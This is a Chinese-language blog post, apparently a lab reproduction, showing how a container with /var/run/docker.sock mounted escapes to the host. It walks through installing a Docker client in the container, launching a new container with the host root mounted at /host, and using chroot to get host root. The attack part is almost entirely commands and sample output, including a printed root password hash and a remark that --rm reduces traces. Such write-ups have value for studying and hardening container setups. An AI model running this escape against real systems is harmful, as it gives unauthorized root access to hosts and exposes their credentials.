Loading ...
Docker Socket 容器逃逸复现

一、原理概述

Docker Socket(/var/run/docker.sock)是 Docker 守护进程与客户端通信的 UNIX 套接字文件。当 Ubuntu 18.04 容器挂载该文件时,容器内进程可通过 Docker API 操控宿主机 Docker 服务,进而创建挂载宿主机根目录的新容器,实现从容器到宿主机的权限逃逸。

二、环境准备(宿主机操作)

  1. 拉取 Ubuntu 18.04 镜像

    docker pull ubuntu:18.04
  2. 启动挂载 Docker Socket 的容器

    # 关键:将宿主机docker.sock挂载到容器内相同路径
    docker run -itd --name socket_escape -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
    • -itd:交互式后台运行,便于后续进入容器操作

    • -v:挂载宿主机 Docker Socket 到容器,是逃逸的核心前提

三、容器内环境配置

  1. 进入目标容器

    docker exec -it socket_escape /bin/bash
  2. 安装 Docker 客户端 Ubuntu 18.04 需通过 apt 安装 Docker:

    # 更新软件源(Ubuntu 18.04推荐用apt-get)
    apt-get update -y
    
    # 安装必要依赖
    apt-get install -y apt-transport-https ca-certificates curl software-properties-common
    
    # 添加Docker官方GPG密钥
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    
    # 添加Docker软件源(适配Ubuntu 18.04的bionic版本)
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"
    
    # 安装Docker CE客户端
    apt-get update -y && apt-get install -y docker-ce
  3. 验证 Docker 客户端可用性

    docker --version  # 显示版本信息即安装成功
    docker ps         # 能列出宿主机容器,证明已通过socket连接宿主机Docker服务
    • 示例输出:

四、逃逸步骤(容器内执行)

  1. 创建挂载宿主机根目录的新容器 利用宿主机 Docker 服务,创建一个将宿主机/挂载到容器/host的新容器:

    docker run -it --rm -v /:/host ubuntu:18.04 /bin/bash
    • --rm:退出后自动清理,减少痕迹

    • -v /:/host:核心挂载,宿主机根目录映射到新容器/host

  2. 切换到宿主机根目录 在新容器内执行chroot命令,将当前环境切换为宿主机文件系统:

    chroot /host
    • 执行过程示例:

五、验证逃逸结果

执行以下命令确认已获取宿主机权限:

  1. 查看用户 ID(应为宿主机 root):

    id  

    输出示例:uid=0(root) gid=0(root) groups=0(root)

  2. 查看宿主机 hostname

    hostname  

    输出示例:6195a62efdbd

  3. 查看宿主机用户信息

    cat /etc/passwd  

    输出包含宿主机本地用户(如rootlanghacker等),部分内容示例:

    root:$6$Du1ukr7z$O3kiLXL/iyvOZTO7CYGsD2aePJ8Zp1ihpHwC9hi06Ng9xk5m1t8vehojD9Uhqcll17bI4UNdskCBBZqofrwGB1:0:0:root:/root:/bin/bash
    lang:x:1000:1000:lang,,,:/home/lang:/bin/bash
    hacker:x:1002:1002:,,,:/home/hacker:/bin/bash

六、清理操作

  1. 退出容器:连续执行exit退出新容器和原始容器

  2. 删除容器

    (宿主机执行):

    docker rm -f socket_escape

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇